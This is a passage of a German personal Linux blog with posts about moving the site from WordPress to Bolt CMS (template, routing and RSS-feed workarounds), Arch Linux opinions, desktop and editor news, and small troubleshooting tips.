Hiermit wird geprüft, ob der Nutzer der die Seite aufruft die Id X hat. Wenn ja, wird ein Link angezeigt mit dem man den Aritkel bearbeiten kann. Und genau wegen diesem Code knallt es. Aber warum?

In der Hauptkonfiguration von Bolt gibt es folgenden Bereich...

# Use strict variables. This will make Bolt complain if you use {{ foo }},
# when foo doesn't exist.
strict_variables: false

Tja hier hatte ich wohl das false auf true geändert um leere bzw. nicht vorhandene Variablen zu unterbinden. Und genau das ist die Ursache des Problems. Anstelle aus dem true wieder ein false zu machen, habe ich einfach obigen Code so abgeändert, dass erst einmal geprüft wird ob user.id definiert ist. Wenn ja, erfolgt die Prüfung auf ID X und wenn nicht, passiert gar nichts.

{% if user.id is defined %}
    {% if user.id == 'X' %}
        | <a href="{{ paths.bolt }}editcontent/entries/{{ record.id }}">Bearbeiten</a>
    {% endif %}
{% endif %}


Wordpress ist in Rente gegangen

Heute habe ich Fryboyter.de auf Bolt CMS umgestellt. Das Theme ist, wie man unschwer erkennen kann, Marke Eigenbau. Nach X Versionen mit Schnick Schnack habe ich es einfach mit Fokus auf den Text gehalten.

Für mich ist die Seite aber weiterhin "Beta", da noch einige Sachen nicht so sind, wie ich es gerne haben möchte.

Wenn man aktuell einen Artikel aufruft erscheint an dessen Ende eine Liste mit Artikel-Vorschlägen. Diese sind aktuell noch unabhängig von der Kategorie. Hier möchte ich es noch schaffen, dass nur Artikel der gleichen Kategorie(n) angezeigt werden den dem aufgerufenen Artikel zugeordnet sind.

Den OSBN-Feed erzeuge ich derzeit alle 30 Minuten über eine PHP-Datei, da sich die Feed-Erweiterung von Bolt CMS nur auf Inhaltstypen und nicht auf Kategorien einschränken lässt. Hier will ich mittelfristig auf eine andere Lösung finden, da die Datei auch dann erzeugt wird, wenn kein neuer Artikel vorhanden ist. Erreichbar ist der Feed nun über https://fryboyter.de/files/feed.xml. Die alte Adresse des OSBN-Feed wird per .htaccess umgeleitet, so dass hier keine Probleme entstehen sollten (sofern der Feed-Reader die Umleitung kapiert).

Die Kommentare laufen ab sofort über Isso Comment. Die Daten werden hierbei in einer SQLite-Datenbank auf meinem Webspace gespeichert, so dass ich hier keine Daten weitergebe.

Wer Fehler findet oder Verbesserungsvorschläge hat, darf sich gerne melden.

Edit: Einen unschönen Fehler habe ich gerade gefunden. Die PHP-Datei mit der ich den OSBN-Feed erzeuge, hat sich noch auf meine Test-Domain bezogen, so dass auf planetlinux.de verlinkt wurde. Das ist nun korrigiert und ich habe eine Weiterleitung auf die richtige Adresse erstellt. Sorry.


Bolt CMS - Die Suchfunktion oder warum mich das Routing ans Limit bringt

Die Umstellung von fryboter.de von Wordpress auf Bolt CMS verkommt langsam einer unendlichen Geschichte. Kaum bin ich "fertig", kommt mir eine neue Idee, was ich noch ändern kann. Wichtig war mir aber schon immer die Suchfunktion.

Schon seit ich mir der Umstellung begonnen habe, hat es mich gestört, dass die Suchfunktion bei Bolt nicht funktioniert hat. Das Suchfeld einzubauen war eigentlich kein Problem. Aber bei jeder Suche bekam ich einen Fehler 404 angezeigt. Die Lösung des Problems zeigt mal wieder, dass auch Bolt CMS Ecken und Kanten hat. Wobei man hier nicht von einem Fehler an sich reden kann, sondern davon, dass Bolt CMS einige Stellschrauben hat.

So würde die Grundinstallation beispielsweise auf einen Artikel in Form von https://planetlinux.de/entrie/deutschsprachiger-usenet-server-mit-schwerpunkt-arch-linux verlinken. Da aber Google die Artikel in Form von https://planetlinux.de/deutschsprachiger-usenet-server-mit-schwerpunkt-arch-linux indexiert hat, ist das blöd, weil ich nicht von null anfangen oder mit htaccess tricksen will.

Hier kommt nun der Teil von Bolt CMS ins Spiel der mir immer noch Kopfschmerzen bereitet. Das Routing. Hiermit lassen sich kurz gesagt die Aufrufe umbiegen. Um das "entrie/" aus den Artikellinks zu entfernen habe ich folgendes als erstes in die Datei routing.yml eintragen.

pagebinding:
path: /{slug}
defaults:
   _controller: controller.frontend:record
   contenttypeslug: entrie
   contenttype: entriest;

Als erstes weil die Einträge ganz oben die höchste Priorität haben. Um so weiter unten Sie in der Datei stehen um so weniger Priorität haben sie (und werden somit zum Beispiel nicht beachtet). Das Beispiel zeigt zum Beispiel dass alle Inhalte mit dem Inhaltstyp entries über den Pfad /slug ereichbar sind. Also zum Beispiel https://planetlinux.de/deutschsprachiger-usenet-server-mit-schwerpunkt-arch-linux.

Ein Stückchen weiter unten in der Datei ist bereits die Route für die Suche vorhanden.

search: path: /search defaults: _controller: controller.frontend:search

Aber egal was ich versucht habe, die Suche hat immer nur den Fehler 404 ausgespuckt. Eine Zeit lang war ich soweit, dass es zukünftig einfach keine Suchfunktion geben wird. Punkt. Ende. Aus. Die Lösung war dann doch recht "einfach". So richtig kapiere ich sie aber trotzdem nicht. Ich habe einfach den Teil mit der sich auf die Suche bezieht über den Teil mit dem Pagebinding eingetragen. Und schon funktioniert die Suchfunktion. Klar es hat etwas mit der Priorität zu tun. Aber /search und /{slug} sind doch zwei unterschiedliche Sachen, oder nicht? Naja das ist erst mal egal. Es funktioniert ja.

Was jetzt noch fehlt ist der RSS-Feed für eine bestimmte Kategorie. Irgendwie muss ich ja meine Artikel auf osbn.de veröffentlichen. Es gibt zwar eine Erweiterung aber diese kann "nur" einen seitenweiten Feed bzw. einen pro Inhaltstyp erstellen. Und der Inhaltstyp umfasst alle Artikel die ich auf fryboyter.de veröffentliche. Da hier auch mal der eine oder andere Artikel veröffentlicht wird, der nichts mit osbn.de zu tun hat ist das blöd... Noch blöder ist es, dass ich absolut keine Ahnung habe wie ich diese Erweiterung ändern könnte.

Ich habe daher einfach mal den Entwickler der Erweiterung auf Github gefragt, ob eventuell in absehbarer Zeit auch Feeds für einzelnen Kategorien möglich sein werden. Bisher habe ich aber noch keine Antwort erhalten. Zur Not habe ich mir auch einfach mal eine PHP-Datei gezaubert die mir einen Feed erstellt. Besonders froh bin ich aber nicht mit der Lösung. Wer will, kann sie sich ja mal ansehen...

<?php header('Content-Type: application/rss+xml');
echo '<'.'?xml version="1.0" encoding="UTF-8"?'.'>'; ?> 
<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    >

<channel>
    <title>Fryboyter.de</title>
    <atom:link href="https://fryboyter.de/files/feed.xml" rel="self" type="application/rss+xml" />
    <description></description>
    <language>de-DE</language>
    <link>https://fryboyter.de</link>    
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>

<?php 

$host = "localhost";
$user = "Nutzer";
$pass = "Passwort";
$dbase = "Datenbankname";

$connection = mysqli_connect("$host" , "$user" , "$pass") OR DIE ("Keine Verbindung zu der Datenbank moeglich.");
mysqli_select_db($connection , $dbase) or die ("Auswahl der Datenbank nicht moeglich.");

// Datenbankabfrage
$query = "SELECT bolt_entries.slug AS slug, bolt_entries.datepublish AS date, bolt_entries.title AS title, bolt_entries.body AS blabla FROM bolt_entries, bolt_taxonomy WHERE bolt_entries.id = bolt_taxonomy.content_id AND bolt_taxonomy.slug = 'osbn' AND bolt_entries.status = 'published' ORDER BY bolt_entries.datepublish DESC LIMIT 20";  
$result = mysqli_query($connection , $query) or die (mysql_error()); 

// Ausgabe der Daten
while ($row = mysqli_fetch_array($result)){ 
    $slug = $row['slug']; 
    $title = $row['title']; 
    $blabla = $row['blabla']; 
    $pubdate = strtotime($row['date']);
    $pubdate = date('r', $pubdate);     
?> 
    <item>
        <title><?php echo $title; ?></title>
        <link>https://planetlinux.de/<?php echo $slug; ?></link>
           <guid isPermaLink="false">https://fryboyter.de/<?php echo $slug; ?></guid>
        <pubDate><?php echo $pubdate; ?></pubDate>
        <description><![CDATA[<?php echo $blabla; ?>]]></description>
    </item>
<?php } /* close while*/ ?>

</channel>
</rss>

Die Ausgabe der Datei in eine XML-Datei weitergeleitet erzeugt zumindest schon mal einen validen Feed. Allerdings müsste ich die Datei per Cronjob laufen lassen. Auf eine Lösung wie die Datei aufgerufen wird, sobald ein neuer Artikel veröffentlicht wurde, bin ich noch nicht gekommen.


Der Mythos Arch Linux

Gestern gab es in einem MUC mal wieder ein Diskussion zum Thema Arch Linux. Und es kam wie es kommen musste. Arch wäre äußerst schwer zu installieren und daher nur für Profis geeignet. Und nach jedem Update geht erst mal gar nichts mehr. Usw.

Ich. Kann. Es. Nicht. Mehr. Hören.

Ja die Installation von Arch ist aufwändiger als bei so manch anderer Distribution. Aber wer lesen kann und halbwegs technisch versiert ist, bekommt die Installation dank der Anleitung für Einsteiger auf die Reihe. Klemmt es mal wirklich, hilft die Gemeinschaft rund um Arch auch gerne weiter. Man muss "nur" die richtigen Fragen stellen.

Wenn man sich die Aussagen von dem einen oder anderen anhört, knallt es ja bei jedem Update weil Arch ja bleeding edge ist. Das ist nur leider beides falsch. Unter Arch werden hauptsächlich Programmversionen angeboten die von den Entwicklern als stabil gekennzeichnet wurden. Und auch Arch Linux verfügt über Testing-Paketquellen. Hier liegen manche Pakete sogar länger als bei anderen Distributionen. Verglichen mit Mandrake / Mandriva habe ich mit Arch unterm Strich auch weniger Probleme. Was vermutlich auch daran liegt, das die Arch-Pakete möglichst "vanilla" (also ohne Änderung seitens der Distribution) veröffentlicht werden. Im Grunde gibt es nur eine Sache zu beachten. Vor einem Update sollte man unter https://www.archlinux.org/news/ nachsehen ob die Entwickler etwas veröffentlicht haben, das einen selbst betrifft. Und wenn ja, es beachten. Sonst kann man in der Tat in Teufels Küche kommen.

Kommen wir zu einem Mythos den ich besondern gerne habe. Arch ist pauschal leichtgewichtig. Für eine Grundinstallation muss man die Paketgruppe base installieren. Diese hat aktuell 54 Pakete. Das ist in der Tat überschaubar und dürfte in der heutigen Zeit als leicht durchgehen. Wobei auch die eine oder andere Minimalinstallation einer andere Distribution leichter sein wird. Aber wer benutzt Arch wirklich nur in der Minimalinstallation? Also ich nicht. Bei mir kommt erst noch die Gruppe base-devel hinzu. Macht noch einmal 26 Pakete. Dann folgt Xorg und KDE-Plasma. Jetzt dürfte man sich langsam von leichtgewichtig entfernt haben... Aber es geht noch weiter. Vivaldi, Sublime Text, Filezilla, Claws Mail, Moneyplex, Double Commander und noch x andere Sachen habe ich auf meinem Hauptrechner installiert. Insgesamt hat / somit 15,8 GB. Mich juckt das bei mehreren Terabyte Speicherplatz und 16 GB RAM jetzt nicht wirklich. Aber als leichtgewichtig würde ich das jetzt nicht bezeichnen wollen.

Kurz gesagt ist Arch Linux bei weitem keine Distribution die sich nur an Linux-Gurus mit einer 500-MB-Festplatte richtet. Eigentlich ist Arch Linux auch nur eine Distribution unter vielen. Für mich ist sie aber auch zwei Gründen meine Wahl. Trotz aktueller Pakete sehr stabil und das Wiki dürfte eines der besten sein. Ich kenne zum Beispiel den einen oder anderen Linuxer der Arch Linux nicht nutzt aber trotzdem im Wiki bei Problemen sucht.


Workshop zum Erstellen von PKGBUILD-Dateien unter Arch

Am Sonntag 04.06.17 findet ab 19 Uhr ein Workshop zum Thema PKGBUILD-Dateien unter Arch Linux statt. Dieser soll ungefähr zwei Stundne dauern und wird von Eli Schwartz, einem aktiven Mitglied der Arch-Gemeinschaft, geleitet.

Thema des Workshops wird der grundlegende Aufbau von PKGBUILD-Dateien sein. Also wie man eine solche Datei "liest", wie man sie anpasst, usw. Auf dem Plan stehen aber auch noch andere Themen wie die häufigsten Fehler die man beim Erstellen machen kann und wie man diese vermeidet. Oder wie man selbst gemachte PKGBUILD-Dateien in AUR Dritten zur Verfügung stellt.

Die Veranstaltung findet im IRC-Kanal #archlinux-classroom (irc.freenode.net) statt. Teilnehmen kann jeder, der sich an den Code of conduct hält.


Systemd-freie Distribution Devuan 1.0.0 veröffentlicht

Darauf habe ich seit Jahren gewartet. Die Distribution Devuan, welche ohne systemd auskommt, wurde in Version 1.0.0 veröffentlicht und basiert auf Debian Jessie. Endlich hat die laute Minderheit, die systemd nicht leiden kann, ein neues Zuhause.

Versteht mich nicht falsch, systemd ist sicherlich nicht der heilige Gral. Mir ging systemd auch schon auf die nerven, weil bestimmte Programme beim Herunterfahren des Rechners Probleme gemacht haben und systemd daher mal 90 Sekunden Wartezeit eingelegt hat. Diese lässt sich zwar einstellen, aber so richtig wohl war mir beim Heruntersetzen auf beispielsweise 10 Sekunden nie. Und an manchen Stellen mag systemd auch pauschal nicht das Gelbe vom Ei sein. Aber Sysvinit ist in der heutigen Zeit einfach noch weniger gelb. Alleine das Init-Script von Apache erzeugt bei mir heute noch Albträume.

Aber der Artikel soll jetzt kein Flame in Richtung Sysvinit werden. Genauso wenig wie es ein Hohelied auf systemd sein soll. Ich, als jemand der mit systemd unterm Strich zufrieden ist und der auch durch systemd mehr über den Bootprozess gelernt hat, wünsche Devuan wirklich alles Gute. Ernsthaft. Zum einen weil es zeigt, dass man in bestimmten Bereichen unter Linux noch die Wahl hat. Und zum anderen weil dann vielleicht endlich mal das Geflame ohne Belege Richtung systemd weniger wird. Dies bitte nicht mit konstruktiver Kritik an systemd verwechseln. Diese ist, zumindest für mich, weiterhin willkommen. Aber diese "Arguemente" die jahrelang gegen systemd angeführt werden, die man in wenigen Sekunden widerlegen kann, nerven einfach nur.


Gajim - Nachricht beim Betreten und Verlassen eines MUC deaktivieren

Martin von mdosch.de hat gestern einen Multi-User-Chat für das OSBN erstellt. Der Idee an sich nicht abgeneigt, habe ich mich gestern und heute dort mit dem Client Gajim eingeloggt. An einer Stelle nervt das Teil aber.

Jedes mal wenn jemand den Chat betritt oder verlässt wird eine entsprechende Nachricht angezeigt. Das nervt. Also allgemein und nicht nur beim OSBN-MUC. Eine Möglichkeit dies über die normalen Einstellungen zu deaktivieren habe ich nicht gefunden. Daher habe ich ein paar Minuten einfach mal die Suchmaschine meiner Wahl gequält und bin fündig geworden...

Wenn man die Einstellungen von Gajim aufruft findet man ganz rechts den Reiter "Erweitert". Dort findet man dann ganz unten den erweiterten Konfigurationseditor". Dort muss man dann nach print_status_in_muc suchen und dort bei Wert none eintragen. Und schon hält Gajim die Klappe wenn jemand den MUC verlässt oder betritt.


Endlich mehr Bandbreite - Aber welche Hardware?

Heute hat sich mal wieder gezeigt, dass man mich noch überraschen kann. Als ich heute von der Arbeit heimgekommen bin, war unser Dorf einige einzige Baustelle und der Gehsteig wurde scheinbar von einem Ende bis zum anderen Ende aufgegraben.

Kurzerhand habe ich mir einen der Bauarbeiter geschnappt und mal vorsichtig nachgefragt, was sie den treiben. Als Antwort kam, dass Leerrohre für den Breitbandausbau verlegt werden. Hier muss ich wohl ziemlich grenzdebil gegrinst haben, da mich der Bauarbeiter ziemlich komisch angesehen hat. Egal. Mit etwas Glück bekomme ich als bald™ 30 Mbit. Preiset den Herren, ein Spiele-Download bei Steam dauert dann keine 12 Stunden oder mehr.

Allerdings stelle ich mir jetzt eine Frage. Und daher veröffentliche ich den Artikel auch auf osbn. Bisher kommt hier ISDN und ein DSL-Router mit einer alternativen Open-Source-Software wie Lede, Open- bzw. DD-WRT zum Einsatz. ISDN fällt demnächst weg und den Router kann ich auch mülleimern. Was mir vorschwebt wäre nun ein neuer Router an dem man ein ISDN- / analoges DECT-Telefon anschließen kann und dermit einer freien Software läuft mit der ich relativ flexibel bin (aktuell läuft hier z. B. ein Radius-Server und ein DNS-Resolver auf dem Router). Hat hier jemand eine Idee? Ansonsten wird es wohl auf eine Fritzbox hinauslaufen und ich muss die ganzen Spielereien auf einen Raspberry Pi auslagern. Wäre jetzt auch kein Drama aber alles unter einem Dach wäre mir hier lieber. Zumal hier schon ein paar Raspberrys laufen...


OSTIF und Quarkslab haben das Ergebnis des Audits von OpenVPN 2.4.0 veröffentlicht

OSTIF und Quarkslab habe OpenVPN 2.4.0 einem Audit unterzogen. Die Ergebnisse wurden nun veröffentlicht. Gefunden wurde 1 kritische und 1 mittlere Schwachstelle. Weiterhin gibt es 5 verbesserungswürdige Bereiche.

Die kritische Schwachstelle ist unter CVE-2017-7478 und die mittlere unter CVE-2017-7479 protokolliert. Über diese Schwachstellen kann ein Angriff mittels DoS durchgeführt werden, der zu einem Ausnahmefehler führt und die Prozessausführung beendet.

OpenVPN bietet für die beiden Lücken bereits aktualisierte Versionen an, welche schon bei der einen oder anderen Distribution verteilt werden. Eine genauere Zusammenfassung sowie den gesamten Audit findet man auf der Seite von OSTIF.


Ubuntu wechselt die Benutzeroberfläche und die Welt geht unter

Ubuntu stampft also Unity ein und wechselt auf Gnome. Das sollte inzwischen eigentlich fast jeder mitgekommen haben. Aber was soll der ganze Aufriss? Die Erde dreht sich auch morgen noch und das Ende von Linux ist dadurch auch nicht eingeläutet.

Aber trotzdem wird das Thema in den letzten Tagen wie die Sau durchs Dorf getrieben (jep, ich renne gerade auch hinter der Sau her) und geforkt bis der Arzt kommt. Scheinbar bin ich einer der Wenigen, die den Umstieg auf Gnome vorsichtig optimistisch sehen. Und das obwohl mir Gnome komplett am Podex vorbeigeht. Genauso wie Unity, Canonical und Ubuntu sowie deren Forks. Scheinbar ist endlich mal Schluss mit den Alleingängen von Canonical (Mir, Unity usw.). Unity zum Beispiel braucht einen ziemlichen Aufwand um überhaupt abseits von Ubuntu (oder einem Fork) nutzbar zu sein. Ich möchte nicht wissen wie viele Stunden die Leute hinter Unity-For-Arch hier investiert haben. 

Zukünftig soll nun Gnome die Wahl sein. Eine Desktop-Umgebung die auch von einigen anderen Distributionen abseits von Ubuntu eingesetzt wird. Sollte sich hier Canonical positiv einbringen, profitieren dann auch andere von diesen Änderungen / Neuerungen. Sofern diese überhaupt Einzug in Gnome halten. Gefühlt (da ich Gnome ja nicht selbst nutzt) werden ja lieber Funktionen entfernt statt hinzugefügt. Aber das ist ein anderes Thema.

Von daher stelle ich mir noch einmal die Frage, was soll der Aufriss?

Und selbst wenn mit der Abkehr von Unity das Ende von Ubuntu eingeläutet wurde (wovon ich nicht ausgehe) dann bleiben doch immer noch andere Distributionen wie OpenSuse oder Mageia übrig. Letztere, damals noch als Mandrake bzw. Mandriva bekannt, war schon immer sehr einsteigerfreundlich. Und das Jahre bevor es Ubuntu überhaupt gegeben hat. Leider war das Unternehmen dahinter nicht in der Lage soviel Marketing zu betreiben wie Canonical.

Von daher... Die Welt wird sich auch ohne Unity noch drehen. Egal ob nun mit Gnome, XFCE, LXQT oder KDE.


Das Ende von Wordpress naht

Vor einigen Monaten hatte ich hier schon mal geschrieben, dass ich Wordpress den Rücken kehren will. Als neue Plattform habe ich Bolt CMS gewählt. Der Wechsel ist in letzter Zeit aus beruflichen Gründen, aber auch weil ich wenig Lust hatte, ins Stocken geraten. Aber es geht in die nächste Runde.

Seit heute bin ich quasi in der Beta-Phase angekommen. Was das Template betrifft, habe ich es bewusst schlicht gehalten. Und das nicht nur weil ich von Grafikbearbeitung keine Ahnung habe.

Fryboyter Beta

Das Template an sich ist aktuell gerade mal 18 KB groß und besteht aus 10 Dateien (inkl. Bilddateien, exklusive Webfonts). Allerdings blähen die eingebetten Webfonts (EOT, SVG, TTF, WOFF und WOFF2) das ganz auf 1,9 MB auf. Bezüglich der CSS-Datei lässt sich vermutlich noch das eine oder andere KB einsparen, da viele Einträge nicht genutzt werden.

Was mir allerdings richtige Sorgen gemacht hat, war der Import der Wordpress-Artikel. Denn hier gibt es leider keine Erweiterung die unter Bolt CMS 3.x funktioniert. Ich habe mir daher ein abenteuerliche Lösung selbst gebaut. Leider hat diese aktuell noch dermaßen Ecken und Kanten, so dass ich vermutlich auch gleich die Artikel per Copy and Paste übertragen hätte können. Von der Entwicklungsdauer will ich erst gar nicht anfangen. Zudem sind bei einigen Artikeln Nachbesserungen nötig (spezielle Formatierungen von Wordpress-Erweiterungen usw.). Kurz gesagt, der Import war zum kotzen. Vermutlich wäre das aber auch so spaßig geworden, hätte ich auf ein anderes System gesetzt.

Ein weiteres Sorgenkind ist die Suchfunktion. Ich habe unter Bolt das Routing so geändert, dass die Links nicht https://planetlinux.de/entrie/deutschsprachiger-usenet-server-mit-schwerpunkt-arch-linux lautet sondern https://planetlinux.de/deutschsprachiger-usenet-server-mit-schwerpunkt-arch-linux. Dann zickt allerdings die Suchfunktion von Bolt. Allerdings bin ich mir nicht sicher, ob es wirklich an Bolt liegt oder ob ich hier das Problem bin. Hiermit werde ich die Entwickler von Bolt bzw. die Gemeinschaft um Bolt wohl noch mal um Hilfe bitten müssen. Alternativ überlege ich mir auch, ob ich überhaupt eine SuFu brauche...

Ansonsten läuft alles genauso wie ich es mir vorgestellt habe. Schnell, stabil und resourcenschonend. Im Debug-Modus werden gerade mal 2 MB in der Spitze verbraucht. Mein PHP Speicherlimit liegt bei 128 MB. Wenn ich den Debug-Modus deaktiviere, wird vermutlich noch weniger Speicher benötigt. Alles in allem war der Wechsel die richtige Entscheidung für mich. Vor allem wenn es um die Templates geht.


Raspberry Pi - Gefälschte Echtzeituhr

Da die Raspberry Pi nicht mit einer Echtzeituhr ausgerüstet sind, stellt dich das Datum nach jedem Reboot erst einmal auf den 01.01.1970 00:00 Uhr. 

Wer seinem Raspberry kein RTC-Modul (z. B. DS3231) spendieren möchte und es mit der Zeit nicht ganz so genau nimmt, kann schummeln und sich fake-hwclock installieren. Hiermit wird die aktuelle Uhrzeit des Raspberry Pi periodisch sowie beim Herunterfahren in eine Datei gespeichert und beim Booten wiederhergestellt. In Verbindung mit einem NTP-Client lässt sich so die Uhrzeit des Raspberry Pi durchgehend halbwegs aktuell halten.


Benutzer von nano können sich nun in den elitären Olymp erheben

Wer nano als Editor benutzt braucht sich zukünftig keine dummen Sprüche überheblicher Linuxer mehr anhören. Ab sofort können Nutzer von nano nun Neovim einsetzen und sich somit in dem Olymp erheben und sich zu dem elitären Teil der Vim-Nutzer gesellen.

Um Teil der elitären Gesellschaft zu werden, installiert man sich einfach Neovim sowie vim-nano und ruft Neovim mittels "nvim -u nano.vim" auf. Und schon steht Neovim in der gewohnten Optik von nano zur Verfügung.

Dank des Entwicklers Nimesh Ghelani können nun auch Nutzer von nano mit stolz geschwellter Brust das Haus verlassen und müssen sich nicht mehr in dunklen Ecken verbergen.


Wie Probleme zwischen sddm und den Nvidia-Treibern mein Problem mit Steam gelöst haben

Vor ein paar Wochen wurden die Nvidia-Treiber unter Arch auf Version 378.13 aktualisiert. Eine Installation und ein Neustart hatten immer einen black Screen auf beiden Monitoren zur Folge. Journalctl war der Meinung dass sddm nichts mit der OpenGL-Version anfangen kann (Unrecognized OpenGL Version).

Da alle Suchergebnisse, die sich auf "Unrecognized OpenGL Version" beziehen, absolut nichts gebracht haben, habe ich ein Downgrade der Pakete nvidia-dkms sowie nvidia-utils gewagt. Hierzu habe ich das Tool downgrade aus dem AUR verwendet und beide Pakete in Version 375.26-2 installiert. Und siehe da, sddm hat wieder funktioniert und ich konnte mich normal an KDE Plasma anmelden.

Am Wochenende hatte ich jetzt mal etwas Zeit und ich habe mich auf das Problem gestürzt, da man Downgrades unter Arch eigentlich vermeiden sollte. Da Version 375.26-2 ja funktioniert ging ich davon aus, dass Version 378.13 das Problem ist. Und ich sollte mich irren. Nach x Fehlversuchen habe ich wieder die alte, funktionierende Version der Nvidia-Treiber installiert und wollte fürs erste erst einmal aufgeben. Irgendwie bin ich dann noch auf die Idee gekommen mir glxinfo aus dem AUR zu installieren. Nachdem ich dann glxinfo | grep OpenGL ausgeführt habe, ist mir mein Gesicht mal so richtig eingeschlafen. Eigentlich hatte ich erwartet, dass die Ausgabe etwas mit Nvidia ausspuckt. Statt dessen wurde ich mit Mesa konfrontiert. Um es mal mit dem fränkischen Fragewort auszudrücken... Hä?

Böses ahnend habe ich dann mal nachgeschaut, ob die Pakete nvidia-libgl und lib32-nvidia-libgl installiert sind. Natürlich nicht. Aber warum nicht? Ich bin mir absolut sicher, dass ich diese Pakete installiert hatte. Und ich habe absolut keinen Schimmer warum ich diese deinstalliert haben sollte. Hier wären wir dann wieder beim fränkischen Fragewort mit zwei Buchstaben.

Nachdem ich dann beide Pakete installiert und die Nvidia-Treiber aktualisiert hatte, hatte auch sddm wieder ein Einsehen und der Rechner konnte wie gewohnt gestartet werden.

Einen schönen Nebeneffekt hat das Ganze auch noch. Vor einigen Wochen hatte ich nach einem Update von Steam festgestellt, dass alle Spiele total ruckeln und quasi unspielbar waren. Da ich aktuell fast nur Overwatch bzw. Quake Live unter Windows spiele, habe ich mich damit aber nicht befasst. Aber wenigstens hatte ich am Wochenende mal einen halbwegs vorzeigbaren Geistesblitz und habe 1 und 1 zusammengezählt. Nach mehreren Runden CS:GO war ich mir sicher, dass das Problem mit Steam ebenfalls an den fehlenden libgl-Paketen lag.

Warum aber Version 375.26-2 funktioniert und wieso die libgl-Pakete bei mir nicht (mehr) installiert waren, wird wohl ein Rätsel bleiben. Allerdings haben auch einige andere Arch-Nutzer die sddm einsetzen mit den aktuellen Nvidia-Treibern einen Blackscreen. Vielleicht liegt das Problem dieses eine mal nicht auf meiner Seite...


Micro löst nano ab

ie Macht der Gewohnheit ist stark. Vor einiger Zeit habe ich angefangen verstärkt Sublime Text 3 als Editor zu nutzen. Das führt nun zu einem Konflikt mit nano.

Im Terminal nutze ich nämlich schon seit gefühlten Ewigkeiten den Editor nano. Dieser hat allerdings komplett andere Shortcuts als Sublime Text. Umso länger und öfter ich Sublime Text nutze umso öfters will ich dessen Shortcuts auch in nano nutzen. Da Faulheit bekanntlich siegt, habe ich mich nach einer Alternative für nano umgesehen. Gefunden habe ich micro. Dieser Editor bietet folgende Funktionen.

- Shortcuts wie bei Sublime Text (Strg+N, Strg+S, Strg+Q usw.)
- Syntax Highlight für 90 Sprachen
- Tabs und Tiling - Plugin (mittels Lua)
- Macros - Usw.

Unterm Strich ist micro für mich ein lohnenswerte Alternative zu nano. Laut dem Bugtracker soll micro aber noch nicht ganz so fix sein, wenn es um größere Daten (z. B. 20 MB groß) geht. Da ich aber in der Regel nicht so große Dateien bearbeite, kann ich dazu nichts sagen.


Trailing Slash in einer SQLite-Datenbank entfernen

Sehr langsam aber sicher schreitet mein Umstieg von Wordpress auf Bolt CMS voran. Eine weitere Hürde habe ich eben überwunden. Den Import vorhandener Kommentare in ISSO Comments.

Die Zuordnung der Kommentare zu den Artikeln erfolgt über den Titel des Artikels. So ist beispielsweise in der Isso-Datenbank /archlinux-org-schafft-beginners-guide-ab/ gespeichert. Allerdings wurde beim betreffenden Artikel keine Kommentare angezeigt. Wie so oft liegt der Fehler im Detail...

Bolt CMS entfernt automatisch den Slash (trailing slash) am Ende eines Links. Somit lautet der Link unter Bolt dann https://fryboyter.de/archlinux-org-schafft-beginners-guide-ab. So ohne weiteres lässt sich dies wohl auch nicht abstellen, da die Funktion in einer der Core-Dateien vorhanden ist. Und da das eben ein anderer Link ist, zeigt Isso Comments somit auch nichts an. Ich habe kurzerhand einfach den trailing slash auch in der SQLite-Datenbank von Isso Comments entfernt. Hierzu war nur folgender, kurzer Befehl nötig.

UPDATE threads SET uri = rtrim(uri, '/')

Hier wird einfach beim Titel der Slash rechts am Ende entfernt. Und schon tauchen auch die Kommentare unter den Artikeln auf.


Arch Linux möchte sich von i686 trennen

Laut einem Thread in der Mailing List arch-dev-public besiegeln die Entwickler wohl langsam das Ende der 32Bit-Version von Arch Linux.

Bartłomiej Piotrowski hat vorgeschlagen, dass die Iso-Datei, die im Februar veröffentlicht wird, die letzte sein wird mit der man die i868-Version von Arch installieren kann. Darauf soll dann eine Galgenfrist von 9 Monaten folgen in der es noch Updates für die betreffenden Pakete geben soll. Ab November 2017 werden dann die Pakete nicht mehr betreut und i868 ist unter Arch Linux quasi tot.

Er macht aber auch den Vorschlag, dass die Gemeinschaft um Arch die Betreuung mit Hilfe der 32Bit-Pakete übernehmen könnte. Ob und wie dies ggf. ablaufen soll, steht noch nicht fest.


Ripgrep - grep auf Steroide

Grep ist wohl das Standardtool um den Inhalt von Dateien zu durchsuchen. Allerdings braucht man oft sehr viele Geduld. Für Ungeduldige gibt es ripgrep.

Ripgrep ist eine Alternative zu grep, welche in Rust geschrieben ist und die in vielen Fällen deutlich schneller zu einem Ergebnis kommt als grep. Bei ersten Tests konnte ich deutliche Unterschiede feststellen. Ich habe spaßeshalber einmal das ganze Homeverzeichnis meines Notebooks durchsucht.

grep -Ir Rybka /home/XYZ
/home/XYZ/Downloads/bundle.ini:[Rybka 2.2 32 bit]
/home/XYZ/Downloads/bundle.ini:ExeName=Rybka v2.2n2.mp.w32.exe
/home/XYZ/Downloads/bundle.ini:RelPath=\Engines\Rybka
/home/XYZ/Downloads/bundle.ini:[Rybka 2.2 64 bit]
/home/XYZ/Downloads/bundle.ini:ExeName=Rybka v2.2n2.mp.x64.exe
/home/XYZ/Downloads/bundle.ini:RelPath=\Engines\Rybka
/home/XYZ/Downloads/engines.ini:Rybka=Vasik Rajlich;USA
grep -Ir Rybka /home/XYZ 0,61s user 4,36s system 18% cpu 27,098 total
time rg -uu Rybka /home/XYZ
/home/XYZ/bundle.ini
23:[Rybka 2.2 32 bit]
24:ExeName=Rybka v2.2n2.mp.w32.exe
26:RelPath=\Engines\Rybka
32:[Rybka 2.2 64 bit]
33:ExeName=Rybka v2.2n2.mp.x64.exe
35:RelPath=\Engines\Rybka

/home/XYZ/Downloads/engines.ini
2666:Rybka=Vasik Rajlich;USA
rg -uu Rybka /home/XYZ 0,44s user 0,52s system 375% cpu 0,256 total

Wie man sieht, ist ripgrep hier leicht schneller. Andrew Gallant, der Entwickler von ripgrep, hat auf seinem Blog einen ausführlichen Artikel veröffentlicht, in dem neben diversen anderen Benchmarks genauer auf ripgrep eingegangen wird. Unter anderem auch für wen ripgrep eher nicht geeignet ist.


